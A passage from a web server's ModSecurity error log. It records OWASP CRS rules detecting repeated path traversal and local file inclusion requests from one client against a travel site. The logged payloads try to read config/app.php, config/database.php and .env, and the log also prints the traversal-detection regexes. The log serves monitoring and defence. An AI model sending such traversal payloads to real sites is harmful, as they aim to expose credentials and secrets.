/?include=../../config/app.php&token=m_5mwmsxuqe8bid5dmmff9oydjf3om41iect6uijgfojjxnyiwn8shzmjnwhikdzk1svrrxl8h5cdl40r0cwwho_qcjolsopaomkee95cqroxuz6jno2frd1rneiawfrbyrwodjeb-gutqq2r7zwbyk6_sxtrbon5c5w57_mi78gi6bf-j2mdivuko85ukhjvbjmqucnig2xgtrvvaagkjkpx4tw8dnijoicoxbwsu91gtxqm5g9nk1qa2-31wvckgnsh-yh4rhy-e6p9g7nuwet&anything=6mczorcfjjwpsjtbzl5vwaawich4frtlgzx5k2vx53gjh3k6vocdltfmhzq4mbc6wp4mfsn45bi25v6xnn7zktqjvblhht26nlum5dpb7tr7fmgp2b3sk2tbwirit7z5ydydctrbl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551546 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551600 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551734 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:include: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.553562 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.553843 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.554379 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.554831 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRAAAAAE"]
[Fri Jul 17 08:55:04.555166 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.555882 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zRAAAAAE"]
[Fri Jul 17 08:55:04.576472 2026] [security2:error] [pid 1993572:tid 1993572] [client 172.121.76.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almgi4l9vhFBGA6D8l95iQAAAAw"]
[Fri Jul 17 08:55:04.576521 2026] [security2:error] [pid 1993572:tid 1993572] [client 172.121.76.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almgi4l9vhFBGA6D8l95iQAAAAw"]
[Fri Jul 17 08:55:04.582877 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWAAAAB4"]
[Fri Jul 17 08:55:04.582927 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWAAAAB4"]
[Fri Jul 17 08:55:04.582991 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:include: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWAAAAB4"]
[Fri Jul 17 08:55:04.583562 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2Fconfig%2Fdatabase.php&ts=xIqg79RIhnrF5cVxgb0xxTS4o2qQAWn-QruhysiEwSbh3_mbFeDMJb51R2Vwu6zQxVKbDXmTQwDNUoAAhLksYLvdwn_aQxgdb-GHTlTAaYz3W-ca_z6azvoAPsHlJx9liHfNPPwTaBylrnpzDIheBu0FOTNrigQgcgqnSwQ8fuHwZgWYW9tyeqc6fCdgMyI-gIO9XOLY33dbH13frD2qp3UxxqNlAkGNexmGmfgC1Wj_JOdOZZdbqUFK_40hlasZVb2_J9FWEmRPDT_nLqDGN-Va&ref=OHRYOMCBE2DZ4JVEYNB5T26G5ZVLYVSXJTTYMWZWQ7BZAYGBDDUXIYFKUFTBYZMPWG2XOXBT4FFGNRKTUEV7OPQXWZ6WBG3BXEFRCQYYE5PB5QNAOBRLTMDJPORFVH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583610 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583706 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../config/database.php&ts=xIqg79RIhnrF5cVxgb0xxTS4o2qQAWn-QruhysiEwSbh3_mbFeDMJb51R2Vwu6zQxVKbDXmTQwDNUoAAhLksYLvdwn_aQxgdb-GHTlTAaYz3W-ca_z6azvoAPsHlJx9liHfNPPwTaBylrnpzDIheBu0FOTNrigQgcgqnSwQ8fuHwZgWYW9tyeqc6fCdgMyI-gIO9XOLY33dbH13frD2qp3UxxqNlAkGNexmGmfgC1Wj_JOdOZZdbqUFK_40hlasZVb2_J9FWEmRPDT_nLqDGN-Va&ref=OHRYOMCBE2DZ4JVEYNB5T26G5ZVLYVSXJTTYMWZWQ7BZAYGBDDUXIYFKUFTBYZMPWG2XOXBT4FFGNRKTUEV7OPQXWZ6WBG3BXEFRCQYYE5PB5QNAOBRLTMDJPORFVH7AUBZRB34GVAEM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583740 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../config/database.php&ts=xiqg79rihnrf5cvxgb0xxts4o2qqawn-qruhysiewsbh3_mbfedmjb51r2vwu6zqxvkbdxmtqwdnuoaahlksylvdwn_aqxgdb-ghtltaayz3w-ca_z6azvoapshljx9lihfnppwtabylrnpzdihebu0fotnrigqgcgqnswq8fuhwzgwyw9tyeqc6fcdgmyi-gio9xoly33dbh13frd2qp3uxxqnlakgnexmgmfgc1wj_jodozzdbqufk_40hlaszvb2_j9fwemrpdt_nlqdgn-va&ref=ohryomcbe2dz4jveynb5t26g5zvlyvsxjttymwzwq7bzaygbdduxiyfkuftbyzmpwg2xoxbt4ffgnrktuev7opqxwz6wbg3bxefrcqyye5pb5qnaobrltmdjporfvh7aubzrb34gvaem..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583762 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583787 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.583883 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:include: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.584136 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWAAAAB4"]
[Fri Jul 17 08:55:04.584274 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.584579 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkFCBpfuYyhJ140vSWAAAAB4"]
[Fri Jul 17 08:55:04.585098 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.585232 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.585533 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkF1_86A5R6msWNfUQAAAABI"]
[Fri Jul 17 08:55:04.626855 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2F..%2F..%2F.env&extra=kSd5KLbwwWjP2Am8yg3Fm00ut1GE-iVGkgLSWBJIZlyhUQZhS_YgDqy7iwdpBFqnoGI3xmfvQDOuB0ar4WzwS7spgeHZ9kHh7jC59FwKZdDmBZz-tiS64l8zShXWnKVcsSjFqRHC-ljEBKeqkNEBpFGV6O8BWF9-sKb5x65sKdJRealfuPIp88r7_3R4goKpMto-CTclO2YVxDd9FwLH4cZgqAQBwG1j7YxL-yxucHcRKHrAgvHkqRoF-RNRo08nXaJXeiWH-HJgTrC3BdUwnLpd&sid=PX5SJMQ26MOOUWDMF3765Y4TAFAD367E3LWUOYVEBPR6G4HPSOR76TH7DADJUKGSDKUCMGF3QXOK6LLKKPISBRSP23K62LQOTEG4UWASNQIWR54DJCPLU7E57SASVUFNSF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.626931 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.627019 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../../.env&extra=kSd5KLbwwWjP2Am8yg3Fm00ut1GE-iVGkgLSWBJIZlyhUQZhS_YgDqy7iwdpBFqnoGI3xmfvQDOuB0ar4WzwS7spgeHZ9kHh7jC59FwKZdDmBZz-tiS64l8zShXWnKVcsSjFqRHC-ljEBKeqkNEBpFGV6O8BWF9-sKb5x65sKdJRealfuPIp88r7_3R4goKpMto-CTclO2YVxDd9FwLH4cZgqAQBwG1j7YxL-yxucHcRKHrAgvHkqRoF-RNRo08nXaJXeiWH-HJgTrC3BdUwnLpd&sid=PX5SJMQ26MOOUWDMF3765Y4TAFAD367E3LWUOYVEBPR6G4HPSOR76TH7DADJUKGSDKUCMGF3QXOK6LLKKPISBRSP23K62LQOTEG4UWASNQIWR54DJCPLU7E57SASVUFNSFMY4ZT2ID5MWN3DUO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.627106 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../../.env&extra=ksd5klbwwwjp2am8yg3fm00ut1ge-ivgkglswbjizlyhuqzhs_ygdqy7iwdpbfqnogi3xmfvqdoub0ar4wzws7spgehz9khh7jc59fwkzddmbzz-tis64l8zshxwnkvcssjfqrhc-ljebkeqknebpfgv6o8bwf9-skb5x65skdjrealfupip88r7_3r4gokpmto-ctclo2yvxdd9fwlh4czgqaqbwg1j7yxl-yxuchcrkhragvhkqrof-rnro08nxajxeiwh-hjgtrc3bduwnlpd&sid=px5sjmq26moouwdmf3765y4tafad367e3lwuoyvebpr6g4hpsor76th7dadjukgsdkucmgf3qxok6llkkpisbrsp23k62lqoteg4uwasnqiwr54djcplu7e57sasvufnsfmy4zt2id5mwn3duo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
